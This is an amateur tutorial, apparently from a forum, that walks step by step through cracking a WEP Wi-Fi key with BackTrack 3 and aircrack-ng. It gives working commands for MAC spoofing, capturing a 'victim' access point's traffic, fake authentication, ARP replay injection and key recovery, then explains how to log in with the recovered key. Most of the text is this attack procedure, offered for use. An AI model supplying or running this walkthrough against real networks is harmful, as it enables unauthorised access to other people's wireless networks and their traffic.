This is my first tutorial.... I hope this helps all of you that just don't know where to start or don't know how to crack wep...
What you will need

* 1 copy of BackTrack 3 *newest release* http://www.remote-exploit.org/backtrack.html (GOOGLE IT)
* 1 wireless router
* Laptop with wireless capabilities/wireless card -- There are a few cards that can't do the injection!!!
* A secure place to work (so you don't disturb other AP's)

In order to crack a WEP key you must have a large number of encrypted packets to work with. This is an unavoidable requirement if you wish to be successful. The best way to get a large number of packets is to perform an ARP request re injection attack (otherwise known as attack -3). In order to do this attack and get results there must be a client already authenticated with the AP, or connecting to the AP.

***********************************************************************
Here are some things you need to know before you get confused
When you see this (device) or (bssid) you DON'T put the ( )!!!
(device) = Your wireless card *can be seen by typing in iwconfig EG: eth0, eth1, ath0, ath1
(bssid) = This is the victims bssid *when you start airodump-ng if there is a AP in range it will show up on the left side will look similar to 00:11:22:33:44:55
************************************************************************

Now before we start we need to make a txt file in the home folder. On the desktop you will see 2 icons home and system. Duble click the home icon, rigt click the blank white area and select create new Txt File name it exidous or what ever you want! click ok, now close the window.


Ok let's start!
Commands | Meaning
====================

*open up 3 shell konsoles by clicking the little black box next to the start button.

* The first thing were going to do is stop the device aka ethernet card
airmon-ng stop ath0

* Now were going to put the wireless card down, so we can fake a mac adress (to see available wireless cards type, iwconfig
ifconfig (device) down

* Ok now just to make things simpler, so we don't have to hunt down what our Mac address is
macchanger --mac 00:11:22:33:44:55 (device)

* Now were going to start the wireless card *make it listen for AP's
airmon-ng start (device)

* Lets start seeing what AP's are there
airodump-ng (device)

* After you see all the AP's execute the following command to stop it and copy the bssid
CTRL+C Copy bssid of victom

* Now on to the victim's AP (were listening in for authentication packets
airodump-ng -c 6 -w Exidous --bssid (Bssid) (device)

* Lets get on with making more Data, and start the injection process
aireplay-ng -l 0 -a (bssid) -h 00:11:22:33:44:55 (device)

* Now were going to inject the router ***this sometimes takes a while to actually inject!
aireplay-ng -3 -b (bssid) -h 00:11:22:33:44:55 (device)

* On to cracking the key, ***AFTER GETTING AT LEAST 5,000 Data/IV's for 64 bit encryption / AFTER GETTING AT LEAST 10,000 Data/IV's for 128 bit encryption
aircrack-ng -n 64 --bssid (bssid) exidous-01.cap

* Once you crack the wep key you wright it down, and reboot to windows. Now put it in the username and the password with out the :
EG: Wep Key = 33:C7:C6:09:30
When Entered into username and password it will look like this. 33C7C60930

I hope this tut. Helped!!! If so please send $$.... JK!!! Just leave a comment and rate it!